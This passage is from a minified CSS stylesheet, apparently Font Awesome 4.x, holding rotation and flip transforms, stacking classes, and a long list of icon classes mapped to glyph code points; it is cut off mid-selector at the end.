fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty